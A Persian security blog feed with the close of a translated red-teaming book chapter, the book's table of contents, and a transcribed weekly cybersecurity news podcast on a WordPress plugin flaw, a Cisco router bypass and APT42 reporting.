وقتی است که یک کارمند امنیتی با ابزارهای مورد استفاده تیم قرمز آشنایی دارد، همه سیستم‌ها را برای پیدا کردن امضاهای مرتبط جستجو کرده و هر بار، فعالیت تیم قرمز را علامت گذاری می‌کند. اگر هکرهای واقعی از این ابزارها استفاده نکنند، این کار هیچ تأثیر واقعی بر امنیت سازمان نخواهد داشت و فقط مانع از اجرای ارزیابی‌های تیم قرمز می‌شود.<br />
بعلاوه، اگر آدرس منبع تیم قرمز حین تعیین قوانین تعامل فاش شود، ممکن است کارمندان امنیتی همه ترافیک ارسال شده از سمت آن آدرس را مسدود کنند تا مانع از اجرای موفقیت آمیز ارزیابی‌ها شوند. در نهایت، ممکن است یک فرد متخاصم سعی کند در تعامل با مدیران سطح بالاتر سازمان برای حفظ وجه خودش، یافته‌های تیم قرمز را کم اهمیت‌تر جلوه دارد. شاید چنین رفتارهایی بعید و عجیب به نظر برسند اما وقتی مردم باور داشته باشند که وسیله معاش و شغل‌شان در خطر است، برای حفاظت از آن هر کاری خواهند کرد.<br />
تیم‌های قرمز باید حرفه‌ای و با سیاست عمل کنند طوری که کارمندان امنیتی سازمان در موضع دفاع از خودشان قرار نگیرند. این مشکلات در همه مراحل ارزیابی ایجاد می‌شوند &#8211; از مرحله برنامه ریزی تا اجرا و گزارش دادن نتایج ارزیابی. باید بین پرسنل امنیتی و تیم قرمز روابط کاری خوبی برقرار و حفظ شود.<br />
یکی دیگر از معایب بالقوه تیم قرمز، خود گزارش است. معمولاً احتمال اینکه این بخش از ارزیابی امنیتی تهاجمی پیامدهایی منفی داشته باشد بسیار کم در نظر گرفته می‌شود. گزارش تیم قرمز، فهرست یافته‌هایی را مشخص می‌کند که سازمان را در معرض تهدید قرار می‌دهند و این فهرست می‌تواند مسئولیت‌های زیادی داشته باشد. فرض کنید یک بیمارستان سرویسی را برای اجرای تعاملات تیم قرمز استخدام می‌کند. تیم قرمز، 10 یافته بالقوه آسیب‌پذیر را پیدا می‌کند که مدیران سازمان آنها را تأیید کرده و بر اساس تأثیر اولویت بندی می‌کنند. مدیران از کارمندان بخش امنیت درخواست می‌کنند که بر اساس اولویت به این آسیب‌پذیری‌ها رسیدگی کنند. فرض کنید که تا 6 ماه به 6 مورد از یافته‌ها رسیدگی نمی‌شود اما آسیب‌پذیری‌هایی با الویت بالا رفع می‌شوند. در ماه پنجم، یک هکر از ششمین یافته فهرست استفاده کرده و به یک پایگاه داده بیمارستان که پر از داده‌های هویتی و داده‌های مشمول قانون HIPAA است، نفوذ می‌کند. این رخنه فاش شده و چند بیمار از بیمارستان شکایت می‌کنند. در پیگیری‌های قانونی از بیمارستان درخواست می‌شود که ثابت کند تمرین‌های تیم قرمز را به طور منظم اجرا کرده و یافته‌های خودش را نشان دهد. سپس مشخص می‌شود که آسیب‌پذیری مورد استفاده برای دسترسی به داده‌های بیماران، از ماه‌ها قبل برای بیمارستان مشخص بوده است. با اینکه بیمارستان بر اساس میزان اهمیت به یافته‌ها رسیدگی کرده، حالا برای این رخنه مسئول شناخته می‌شود چون وجود آسیب‌پذیری در گزارش تیم قرمز مشخص شده بود. نباید این موارد و سایر مسائل و معایب تیم قرمز مانع از به کار بردن این خدمات شود اما کارشناسان تیم قرمز و افرادی که قصد استفاده از آنها را دارند، باید از این مسائل آگاه باشند.</p>
<h2><a name="_Toc144125042"></a>خلاصه فصل اول</h2>
<p>در این فصل مفهوم تیم قرمز و هدف اجرا و پیاده سازی عملیات تیم قرمز را توضیح دادیم. همچنین مزایا و معایب استفاده از این رویکرد امنیتی دفاعی هم بررسی شد تا مقدمه لازم برای درک فصل‌های بعد فراهم شود.</p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> exploit<br />
<a href="#_ftnref2" name="_ftn2">[2]</a> مترجم: داشته‌های سخت‌افزاری و نرم‌افزاری سازمان<br />
<a href="#_ftnref3" name="_ftn3">[3]</a> Health Insurance Portability and Accountability Act</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/professional-red-teaming-chapter-1/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>کتاب تیم قرمز حرفه‌ای</title>
		<link>https://blog.peneter.com/professional-red-teaming/</link>
					<comments>https://blog.peneter.com/professional-red-teaming/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Mon, 18 Mar 2024 21:04:39 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1250</guid>

					<description><![CDATA[سخنی با خوانندگان از وقتی که یادمان می‌آید، علاقه‌مند به رایانه و بازی‌های رایانه‎ای بودیم. هرچه بزرگ‌تر شدیم، نه تنها که چیزی از این علاقه...]]></description>
										<content:encoded><![CDATA[<h4>سخنی با خوانندگان</h4>
<p>از وقتی که یادمان می‌آید، علاقه‌مند به رایانه و بازی‌های رایانه‎ای بودیم. هرچه بزرگ‌تر شدیم، نه تنها که چیزی از این علاقه کاسته نشد، بلکه حل معما برای ما تبدیل به چاشنی پر رنگ آن شد. وارد دنیای بی‌انتهای امنیت شبکه شدیم و اکثر زمان خود را در راستای یادگیری مفاهیم و دست و پنجه نرم کردن با چالش‌های آن گذراندیم. پس از سال‎‌ها فعالیت و مشاوره‌های خصوصی در زمینه‌ی امنیت شبکه، اکنون که فرصتی برای ادای دین به همگان پیش آمده است، امیدواریم که ماحصل این کتاب برای علاقه‌مندان و دوست‌داران مفید واقع شود و به روشن شدن مسیر در حال پیمودن، کمکی هر چند ناچیز نماید.</p>
<p>ارادتمند شما،<br />
مهدی لقایی<br />
سهیل هاشمی</p>
<h4>مطالعه کتاب</h4>
<a href="/professional-red-teaming-chapter-1" class="epcl-shortcode epcl-button regular outline red" target="_self" >فصل اول</a>
<a href="/professional-red-teaming-chapter-2" class="epcl-shortcode epcl-button regular outline red" target="_self" >فصل دوم</a>
<a href="/professional-red-teaming-chapter-3" class="epcl-shortcode epcl-button regular outline red" target="_self" >فصل سوم</a>
<a href="/professional-red-teaming-chapter-4" class="epcl-shortcode epcl-button regular outline red" target="_self" >فصل چهارم</a>
<a href="/professional-red-teaming-chapter-5" class="epcl-shortcode epcl-button regular outline red" target="_self" >فصل پنجم</a>
<a href="/professional-red-teaming-chapter-6" class="epcl-shortcode epcl-button regular outline red" target="_self" >فصل ششم</a>
<a href="/professional-red-teaming-chapter-7" class="epcl-shortcode epcl-button regular outline red" target="_self" >فصل هفتم</a>
<a href="/professional-red-teaming-chapter-8" class="epcl-shortcode epcl-button regular outline red" target="_self" >فصل هشتم</a>
<a href="/professional-red-teaming-chapter-9" class="epcl-shortcode epcl-button regular outline red" target="_self" >فصل نهم</a>
<a href="/professional-red-teaming-chapter-10" class="epcl-shortcode epcl-button regular outline red" target="_self" >فصل دهم</a>
<a href="/professional-red-teaming-chapter-11" class="epcl-shortcode epcl-button regular outline red" target="_self" >فصل یازدهم</a>
<a href="/professional-red-teaming-chapter-12" class="epcl-shortcode epcl-button regular outline red" target="_self" >فصل دوازدهم</a>
<a href="#" class="epcl-shortcode epcl-button regular outline green" target="_self" >فصل سیزدهم (بزودی)</a>
<h4></h4>
<h4>دانلود کتاب (PDF)</h4>
<a href="/dl/professional-red-teaming-farsi-toc-laghaei-hashemi.pdf" class="epcl-shortcode epcl-button regular outline red" target="_self" >فهرست مطالب</a>
<a href="#" class="epcl-shortcode epcl-button regular outline green" target="_self" >کتاب تیم قرمز حرفه‌ای PDF (بزودی)</a>
<h4></h4>
<h4>فهرست مطالب</h4>
<ul>
<li><strong>فصل اول: تیم‌های قرمز در فضای سایبری</strong><br />
اهداف تیم قرمز<br />
مزایای تیم قرمز<br />
ارزیابی آمادگی<br />
ارزیابی سازوکارهای دفاعی<br />
ارزیابی سیستم‌های نظارتی<br />
ارزیابی واکنش‌ها<br />
معایب تیم قرمز<br />
خلاصه فصل اول</li>
<li><strong>فصل دوم: چرا هکرهای انسانی؟</strong><br />
ابتکار و اتوماسیون<br />
فناوری مدل‌سازی<br />
فناوری غیرانتقالی<br />
فناوری‌های انتقالی با بهره‌برداری<br />
مزایا و معایب اتوماسیون<br />
مزایای اتوماسیون<br />
معایب اتوماسیون<br />
ریسک‌های فعال<br />
ریسک‌های منفعل<br />
بررسی چند سناریوی نمونه<br />
سناریوی اول<br />
سناریوی دوم<br />
سناریوی سوم<br />
سناریوی چهارم<br />
شکار تهدید<br />
خلاصه فصل دوم</li>
<li><strong>فصل سوم: امنیت تهاجمی مدرن</strong><br />
چالش تهدیدات پیشرفته مستمر (APT)<br />
توانمندی بیشتر<br />
زمان بیشتر<br />
نامحدود بودن قلمروی فعالیت<br />
نداشتن قوانین تعامل<br />
چالش‌های محیطی<br />
استانداردهای مقرراتی<br />
محدودیت نوآوری<br />
باورهای غلط<br />
مشتریان متخاصم<br />
پرسنل فنی<br />
پرسنل مدیریتی<br />
پرسنل کاربری<br />
نتیجه‌گیری چالش‌های پرسنل<br />
گزینش مؤثر نیرو برای تیم قرمز<br />
خلاصه فصل سوم</li>
<li><strong>فصل چهارم: شکل‌دهی عملیات</strong><br />
چه افرادی؟<br />
پرسنل فنی سازمان مشتری<br />
پرسنل عملیاتی سازمان مشتری<br />
پرسنل فنی ارایه دهنده خدمات ارزیابی<br />
پرسنل عملیاتی ارایه دهنده خدمات ارزیابی<br />
چه زمانی؟<br />
پیشگیری از حادثه<br />
برقراری تعادل بین ویژگی‌های مختلف در تعیین محدوده<br />
چه چیزی؟<br />
انگیزه ارزیابی<br />
تست قبلی<br />
امنیت فعلی<br />
ردپای محدوده انتخابی<br />
محدودیت‌های برون سازمانی<br />
خلاصه فصل چهارم</li>
<li><strong>فصل پنجم: قوانین تعامل</strong><br />
انواع فعالیت‌ها<br />
فیزیکی<br />
مهندسی اجتماعی<br />
شبکه خارجی<br />
شبکه داخلی<br />
حرکت در شبکه<br />
شبکه بی‌سیم<br />
دسته بندی<br />
تقویت نیرو<br />
مدیریت حادثه<br />
ابزارها<br />
الزامات مجوز<br />
اطلاعات پرسنل<br />
خلاصه فصل پنجم</li>
<li><strong>فصل ششم: اجرای ارزیابی</strong><br />
انتخاب کارمندان<br />
هکر حرفه‌ای<br />
روال مطلوب<br />
بررسی ROE<br />
اطلاع‌رسانی درباره فعالیت‌ها<br />
شگردهای عملیاتی<br />
یادداشت‌های عملیاتی<br />
سرشماری و بهره برداری<br />
آگاهی پس از دسترسی<br />
دستکاری سیستم<br />
رهاسازی هدف<br />
نمونه‌هایی از یادداشت‌های عملیاتی<br />
خلاصه فصل ششم</li>
<li><strong>فصل هفتم: گزارش نویسی</strong><br />
موارد لازم<br />
انواع یافته‌ها<br />
آسیب‌پذیری‌های بهره‌برداری شده<br />
آسیب‌پذیری‌های بهره‌برداری نشده<br />
آسیب‌پذیری‌های فنی<br />
آسیب‌پذیری‌های غیرفنی<br />
ثبت یافته‌ها<br />
خلاصه یافته‌ها<br />
نمایش یافته‌ها به صورت مجزا<br />
ارایه<br />
ارزیابی بدون نتیجه<br />
خلاصه فصل هفتم</li>
<li><strong>فصل هشتم: تیم بنفش</strong><br />
چالش‌ها<br />
مشکلات مربوط به افراد<br />
نیازهای مشتری<br />
انواع تیم بنفش<br />
آگاهی متقابل<br />
بی‌اطلاعیِ میزبان<br />
بی‌اطلاعیِ مهاجم<br />
تست دست قرمز (مُچ‌گیری)<br />
گرفتن و رها کردن<br />
هکر مفید<br />
خلاصه فصل هشتم</li>
<li><strong>فصل نهم: تیم قرمز ضد APT</strong><br />
تیم CAPTR<br />
تحلیل بدترین حالت ممکن و تعیین محدوده<br />
چشم‌انداز اولیه حیاتی<br />
زنجیره انتقال معکوس<br />
تقابل<br />
روز صفر<br />
تهدیدات داخلی<br />
بهره‌وری<br />
ریسک تحمیل شده<br />
معایب<br />
خلاصه فصل نهم</li>
<li><strong>فصل دهم: تعیین محدوده به صورت نتیجه محور</strong><br />
ارزیابی ریسک بدترین حالت<br />
انتخاب افراد مناسب<br />
پرسنل عملیاتی<br />
پرسنل فنی<br />
پرسنل ارزیابی<br />
یک نمونه محدوده<br />
تحلیل مرکزی<br />
خلاصه فصل دهم</li>
<li><strong>فصل یازدهم: انواع دیدگاه‌های شروع ارزیابی</strong><br />
چشم‌انداز اولیه خارجی<br />
چشم‌انداز اولیه داخلی<br />
چشم‌انداز اولیه حیاتی<br />
تأثیر چشم‌انداز اولیه بر ارزیابی ریسک<br />
تأثیر بر ارزیابی ریسک: چشم‌انداز خارجی<br />
تأثیر بر ارزیابی ریسک: چشم‌انداز DMZ<br />
تأثیر بر ارزیابی ریسک: چشم‌انداز داخلی<br />
تأثیر بر ارزیابی ریسک: چشم‌انداز حیاتی<br />
تأثیر بر پوشش سطح حمله<br />
پوشش سطح حمله: چشم‌انداز خارجی<br />
پوشش سطح حمله: چشم‌انداز DMZ<br />
پوشش سطح حمله: چشم‌انداز داخلی<br />
پوشش سطح حمله: چشم‌انداز حیاتی<br />
مزایا و معایب<br />
ایجاد ریسک<br />
چشم‌انداز خارجی و ریسک ناشی از آن<br />
چشم‌انداز DMZ و ریسک ناشی از آن<br />
چشم‌انداز داخلی و ریسک ناشی از آن<br />
چشم‌انداز حیاتی و ریسک ناشی از آن<br />
خلاصه فصل یازدهم</li>
<li><strong>فصل دوازدهم: تیم قرمز معکوس</strong><br />
زنجیره انتقال معکوس<br />
ارزیابی محلی<br />
تحلیل هوش محلی<br />
انتقال معکوس<br />
خروجی‌های عملیات CAPTR<br />
شبکه روابط ریسک معکوس<br />
وزن‌دهی ریسک<br />
هزینه فایده‌ی عملیات تیم CAPTR<br />
خلاصه فصل دوازدهم</li>
<li><strong>فصل سیزدهم: ارزیابی فرآیندهای امنیتی تهاجمی</strong><br />
تعیین الزامات یک ارزیابی قابل دفاع<br />
محیط کنترل شده و واقع گرایانه<br />
ارزیابی‌های امنیتی قابل دفاع<br />
مدیریت سیستم‌ها به صورت قابل دفاع<br />
تقلید رفتار یک مهاجم باانگیزه و حرفه‌ای<br />
معیارها و نتایج قابل ارزیابی<br />
رسانه‌ی ارزیابی<br />
شبکه واقعی با مهاجمان واقعی<br />
شبکه واقعی با مهاجمان شبیه سازی شده<br />
شبکه آزمایشی با مهاجمانی واقعی<br />
شبکه آزمایشی با مهاجمان شبیه سازی شده<br />
خلاصه فصل سیزدهم</li>
<li><strong>فصل چهاردهم: آزمایش</strong><br />
تعیین هدف<br />
خلاصه آزمایش<br />
طراحی آزمایش<br />
سیستم‌عامل‌های شبکه آزمایشی<br />
طرح شبکه آزمایشی<br />
معیارهای آزمایش<br />
الزامات مربوط به پرسنل<br />
مرور و زمانبندی آزمایش<br />
ایجاد شبکه کنترلی و مستندات مربوط به آن<br />
بررسی عملکرد و واقع گرایانه بودن شبکه<br />
کپی کردن شبکه کنترل<br />
ارزیابی تیم قرمز<br />
بررسی توصیه‌های تیم قرمز توسط بازرس تیم قرمز<br />
بررسی توصیه‌های تیم قرمز توسط بازرس مدیریت سیستم‌ها<br />
پیاده‌سازی توصیه‌های تیم قرمز<br />
اعتبارسنجی تغییرات پیشنهاد شده توسط عضو تیم قرمز<br />
ارزیابی تیم CAPTR<br />
بررسی توصیه‌های تیم CAPTR توسط بازرس تیم CAPTR<br />
بررسی توصیه‌هایی تیم CAPTR توسط بازرس مدیریت سیستم‌ها<br />
پیاده سازی تغییرات تیم CAPTR<br />
تأیید تغییرات توصیه شده توسط عضو تیم CAPTR<br />
تحلیل تغییرات توصیه شده<br />
حملات شبیه‌سازی شده<br />
آمار گردآوری شده<br />
بررسی الزامات مربوط به قابل دفاع بودن آزمایش<br />
الزامات مربوط به محیط واقع گرایانه و کنترل شده<br />
الزامات مربوط به ارزیابی امنیتی قابل دفاع<br />
الزامات مربوط به مدیریت قابل دفاع سیستم‌ها<br />
الزامات مربوط به حضور یک مهاجم حرفه‌ای و باانگیزه<br />
الزامات مربوط به قابل ارزیابی بودن نتایج<br />
خلاصه فصل چهاردهم</li>
<li><strong>فصل پانزدهم: اعتبارسنجی</strong><br />
نتایج: مرحله توصیه<br />
نتایج: مرحله اجرای کمپین<br />
مطالعات موردی<br />
مطالعات موردی: سناریوی اول<br />
مروری بر عملکرد تیم قرمز در سناریوی اول<br />
مروری بر عملکرد تیم CAPTR در سناریوی اول<br />
نتیجه گیری سناریوی اول<br />
مطالعات موردی: سناریوی دوم<br />
مروری بر عملکرد تیم قرمز در سناریوی دوم<br />
مروری بر عملکرد تیم CAPTR در سناریوی دوم<br />
نتیجه گیری سناریوی دوم<br />
خلاصه فصل پانزدهم</li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/professional-red-teaming/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>ما برگشتیم!</title>
		<link>https://blog.peneter.com/back-to-work/</link>
					<comments>https://blog.peneter.com/back-to-work/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Fri, 19 Jan 2024 23:16:52 +0000</pubDate>
				<category><![CDATA[رویداد]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1302</guid>

					<description><![CDATA[سلام به همه‌ی دوستان و عزیزان ما بعد از وقفه‌ای که بیش از یکسال به طول انجامید، برگشتیم. همه‌ی ما روزهای بسیار سختی رو دیدیم...]]></description>
										<content:encoded><![CDATA[<p>سلام به همه‌ی دوستان و عزیزان</p>
<p>ما بعد از وقفه‌ای که بیش از یکسال به طول انجامید، برگشتیم. همه‌ی ما روزهای بسیار سختی رو دیدیم و گذروندیم و حتی هنوز هم درد و رنج اون روزها در وجودمون هست، اما هرگز تسلیم نشدیم و نخواهیم شد و همواره امیدواریم که روزهای بهتری رو تجربه کنیم.</p>
<blockquote><p>آدمی تا زمانی که سختی‌هایش را می‌فهمد، زنده است. ولی وقتی سختی‌های دیگران را درک می کند، آن‌وقت یک انسان است.<br />
لئو تولستوی</p></blockquote>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/back-to-work/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>اخبار امنیت سایبری – 46 (10-09-2022)</title>
		<link>https://blog.peneter.com/cybersecurity-news-46-1401-06-19/</link>
					<comments>https://blog.peneter.com/cybersecurity-news-46-1401-06-19/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Sat, 10 Sep 2022 20:29:17 +0000</pubDate>
				<category><![CDATA[اخبار امنیت]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1246</guid>

					<description><![CDATA[اخبار امنیت سایبری (جلسه 46ام) که در تاریخ نوزدهم شهریورماه 1401 در اتاق مرتبط با آن در کلاب Peneter.com برگزار شد رو از طریق پخش...]]></description>
										<content:encoded><![CDATA[<p>اخبار امنیت سایبری (جلسه 46ام) که در تاریخ نوزدهم شهریورماه 1401 در اتاق مرتبط با آن در کلاب <a href="https://www.clubhouse.com/club/penetercom">Peneter.com</a> برگزار شد رو از طریق پخش کننده زیر می‌توانید گوش بدهید یا دانلود نمایید.</p>
<p><iframe loading="lazy" scrolling="no" id="hearthis_at_track_7074603" width="100%" height="150" src="https://app.hearthis.at/embed/7074603/transparent_black/?hcolor=&#038;color=&#038;style=2&#038;block_size=2&#038;block_space=1&#038;background=1&#038;waveform=0&#038;cover=0&#038;autoplay=0&#038;css=" frameborder="0" allowtransparency allow="autoplay"></p>
<p>Listen to <a href="https://hearthis.at/peneter-com/462022.09.1001.06.19cybersecurity.news/" target="_blank" rel="noopener">#46# CyberSecurity News 2022.09.10 (1401.06.19)</a> <span>by</span><a href="https://hearthis.at/peneter-com/" target="_blank" rel="noopener">Peneter.com</a> <span>on</span> <a href="https://hearthis.at/" target="_blank" rel="noopener">hearthis.at</a></p>
<p></iframe></p>
<p>سلام و درود عرض میکنم خدمت همه دوستان و همراهان گرامی کلاب peneter.com در کنار سهیل جان هاشمی با جلسه 46 اخبار هفتگی امنیت سایبری در خدمتتون هستیم. امیدوارم که دکتر داود سجادی هم هرچه سریعتر به ما پیوندن. توضیحی که باز به عزیزانی که تازه به جمع ما پیوستن بدم. هرهفته شنبه شب ها ما اخبار امنیت سایبری رو در اتاقی تحت کلاب peneter پوشش میدیم. اگه مایل بودین خود کلاب peneter ، سخنرانان و شبکه های اجتماعیشون رو فالو کنید تا از زمان دقیق تشکیل اتاق ها باخبر بشید. میکروفون تقدیم سهیل جان. شما رو گوش میکنیم.<br />
خیلی ممنون. سلام و عرض ادب خدمت تمام دوستانی که در اتاق حضور دارند. بریم سراغ اخبار امنیتی هفته گذشته. من خبرم رو با کشف آسیب پذیری Zeroday که یکی از پلاگین های وردپرس شروع میکنم. Backup buddy . این اکسپلویت zeroday روی Backup buddy بودش که CSS 7.5 اجازه Local file download میده. نوعی از آسیب پذیریه که میتونه هکر بدون اینکه پرمیشن داشته باشه، پسورد لینوکس یا file config وردپرس رو دانلود کنه و بعد از اینکه file config رو دانلود کرد، با وصل شدن به دیتابیسش میتونه دسترسی کامل از وردپرس بگیره . حالا اگه از این پلاگین استفاده می کنید حتما آپدیتش کنید که به مشکل نخورید.<br />
بریم سراغ خبر بعدی، درمورد آسیب پذیری روی روترهای سیسکو بود که VPN IPsec سرور سیسکو سری روترهای RC130-RB130W آسیب پذیری روی authentication method وجود داره که امکان authentication method by pass وجود داره. هکر میتونه بدون اینکه یوزر و پسورد داشته باشه دسترسی پیدا کنه. اگر از همچنین سری های روترهای سیسکو استفاده میکنید، حتما آپدیتش رو مدنظرتون قرار بدین.<br />
بریم سراغ خبرهای دیگه، من توی یکی از فروم هایی که دسترسی میفروشن bridge.to یه پست دیدم که دیتابیس فروشگاه رفاه رو داشتن میفروختن که مثل اینکه یه آسیب پذیری وجود داشته توی فروشگاه رفاه که دسترسی گرفته بودن و احتمال میدم که هکرش ایرانی باشه و دیتابیسش رو برای فروش گذاشته.<br />
خبر داغ تر دیگه که وجود داشت، خبر هک زیرساخت های کشور آلبانی بود که حملات Wiper و علاوه بر اون &#8230;&#8230;&#8230;. بود که گزارش های مختلفی توسط تیم های Trend Intelligence » مایکروسافت و Mandiant منتشر شد. توی این گزارش ها تکنیکالش اشاره کرده که این گروه که ملغب شده به APT42 از سال 2015 کارش رو شروع کرده و trackش کردن و از 2015 توسط Mandiant track شده، هدفشون اغلب افراد سیاست مدار و روزنامه نگاران و افراد دولتی بوده که عموما مخالف بودن با دولت و از متدهای Social Engineering که حالا هفته پیش هم درموردش خیلی صحبت کردم، از Phishing استفاده می کردن و اینهارو مورد هدف قرار میدادن با Pretext ی که ازشون داشتن. و برای اینکه بتونن اونها رو track کنن و حالا یجورایی شنود کنن، بدافزار اندروید داشتن که به عنوان مسنجر بوده یا به عنوان فیلترشکن بوده که توی گزارش Mandiant ذکر شده بود که اسمش Safer VPN بوده. که این رو پخش میکردن جاهای مختلف و بعد از اینکه نصب میشده امکان دسترسی به گالری و contact و SMS  و حتی capture voice وجود داشته. و قابلیت &#8230;&#8230;. هم داشته و برای &#8230;&#8230;. کردنش از خود Bit locker ویندوز استفاده میکرده. Bit Locker یک feature اینترپراز ، پرو و&#8230; توی ویندوز (ادیشن همچنین فیچری نداره) توی فایل سیستم NTFSبیت لاکر رو فعال کنیم، رمز کنیم که اگر پسورد نداشته باشن نتونن بیان داخل. از این قابلیت استفاده میکرده. فقط کافی بوده که چند تا command رو بزنه و اون درایو ها رو رمز کنه.  حالا خود مایکروسافت هم یک گزارش داشت که مثل گزارش Mandiant بود تقریبا ولی خب Mandiant در  قالب PDF  و 20 و خورده ای صفحه هستش که قسمت تکنیکالش اومده درمورد نحوه دسترسی گرفتن که انجام میدادن و ابزارهایی که برای دسترسی به ایمیل های قربانیان داشتن ، ابزار رو درموردش صحبت کرده که یکی از اون ابزارها، ابزار JSON.exe که این ابزار قبلا track شده بود که APT35 ازش استفاده میکرده. بعد از اینکه کوکی و یوزر پسورد قربانی ها رو سرقت کنه، بخاطر قابلیت Multi Factor Authentication توی گوگل شما حتی یوزر و پسورد هم بزنید نمیتونید برید داخل و نیازمند همچنین ابزاری مثل json.exe یا ابزاری مشابه که دو هفته پیش کشف شده بود توسط گوگل هستش که شما بتونید اینها رو add کنید و بعد دسترسی پیدا کنید به inbox جی میل.  تارگت هایی هم که داشت APT42 تارگت هایی که داشته، education, government, manufacturing, و تقریبا تو همه طیفی تارگت داشت. طیف خاصی نبوده. مورد Safer VPN که بدافزاری بوده که توسعه دادن بودن به اسم VPN دسترسی داشته به کل گوشی، گوشی فارنزیکش رو گذاشتن و malware که detect کردن ، الان گوگل به عنوان malware میشناسه و زمانی که شما بخواین نصب کنید، اجازه نمیده که ران بشه. از سرویس BitLocker استفاده میکرده ، برم سراغ گزارش مایکروسافت. میگه که APT42 از چند Subgroup تشکیل شده که تقریبا 4 تاس که همشون زیر مجموه مویس میدونن که همون واژو هستش و حالا این تیم ها درواقع هرکدوم وظیفه ی توسعه ی ابزارهای عملیاتی رو بر عهده داشتن. یک تیمی مسئول بوده که باج افزار رو توسعه بده، یک تقیم initial access داشتن و یک تیم استخراج داشتن، مثل تمام APT هایی که در تمام دنیا وجود دارند. حتی همون APT که توی NSA وجود داره. APT که توی CIA یا چین یا روسیه وجود داره. تقریبا ساختار APT ها یکیه، یعنی همه این کارها رو انجام میدن، هیچ فرقی نمیکنه. این 4 تیم تقریبا مسئولیت این رو داشتن که دسترسی بگیرن. یه تیم دیگه مسئول استخراج دیتا رو داشته، یه تیم دیگه هم رنسامبر رو وایپ کردن داشتن. بنابر این که تارگتشون چقدر اهمیت داشته بین wipe و رنسام یکیش رو انتخاب میکردن. حالا اون اابزار json هم خود مایکروسافت توی سایتش اگه اون گزارش رو ببینید، که من روی توییتر share کردم، یک عکس گذاشته از ابزار json که این ابزار درواقع توسط گروه لب دوختگان پابلیش شده بود توی کانال تلگرامشون که مثل یک ابزار دیگه ای بودش که هفته پیش درموردش صحبت کردیم .که این ابزار هم کارش این بودش که جی میل ها رو بتونه بخونه.  بحث initial access یا با آسیب پذیری بوده یا spa phishing بوده. حالا آسیب پذیری هم که استفاده میکردن، چون گروه های APT که اتریبیتوت شدن به ایران یا از پروکسی لاگ آن یا دو آسیب پذیری روی اکسچنج ها بودش که از اونها استفاده میکردن. یک آسیب پذیری بودش که تو share point ها بودش که از اونها برای initial access بوده حالا اون آسیب پذیری shell point یک دونه آپلودر داشته توی نسخه های قدیمیش که هکرها از میومدن از اون طریف web shell میگرفتن، دسترسی میگرفتن و وارد شبکه میشدن و جالبیش اینه که توی گزارش تحلیلی که انجام دادن، اون تیم DFIR که مال Mandiant بوده اشاره کرده اینها وقتی وارد شبکه میشدند، یک یوزر اکانت دیفالت تو همه شبکه ها داشتن که از این طریق میومدن این گروه رو شناسایی میکردن بنام default account معمولا این گروه های APT یک شاخصه ای دارن که از همدیگه جدا میشن. که اینها بهشون میگن indicator of attack با IOC یکم فرق داره که میشه malware و IP و هش و تکنیک هایی که استفاده میکنن. این حملاتی که استفاده میکنن رو وقتی استفاده میکنن از چه command هایی استفاده میکنن. بیشتر ابزارهایی که خودشون دستی نوشتن که ساخت اکانت بوده و بعد هم ادمین دامین کردن بوده و chain  اتکش هم execution از VBA و PowerShell استفاده میکردن مثل تمام APT هایی که بوده. این گزارش Mandiant من روی توییتر هم share کردم که اگر علاقه مند هستید ببینید TTP ش چی بوده میتونید از اون گزارش دانلودش کنید. 21 صفحه هست که آخرش تمام TTP ها رو گذاشته. من عرایضم رو اینجا تموم میکنم. میکروفون رو میدم خدمت داود جان.<br />
ممنونم سهیل عزیز. من هم درود و عرض ادب دارم خدمت همه دوستان. امیدوارم هرکجا که هستید شاد و سلامت و تندرست باشید. ببخشید که نتونستم از اول اتاق درخدمتتون باشم. من یک اخباری که توی هفته گذشته روی اینستاگرام خودم منتشر کرده بودم. خلاصه ای از اونها رو سعی میکنم  مرور کنم. معمولا اخباری که روی توییتر منتشر میکنم خیلی حجمش بیشتره و روی selective تر هم روی اینستاگرام هم میذارم که حالا دستچین شده باشه، جالب تر باشه. سورس اخبار رو میتونید از روی اکانت اینستاگرام یا اکانت توییتر من چک کنید.<br />
هفته ای که گذشت یکی از افرادی که در حوزه امنیت اینترنت فعالیت خیلی زیادی داشت، پیتر اکزلی فوت کرد. ایشون یکی از حامیان بحث رمزگذاری روی فضای اینترنت بود. بحث SSL و حالا همون Certificateی که روی http استفااده میکنید. کانشکشن هاشون https بشه. من این بارها در جاهای مختلف گفتم که تلاش های زیادی رو بنیادهایی مثل الکترونیک فاندیشین انجام دادن. کیس های زیادی رو به دادگاه بدن علیه دولت. دولت آمریکا که اجازه بدن بحث encryption اطلاعات انجام بشه و درنهایت تونستن این رو قانون کنن. اگر اشتباه نکنم در زمان بیل کلینتون این قانونش امضا شد و به اجرا گذاشته شد. یکی از افرادی که توی این حوزه خیلی فعالیت کردن از لحاظ فنی و خصوصی، پیتر اکزلی بود که هفته گذشته فوت کرد.<br />
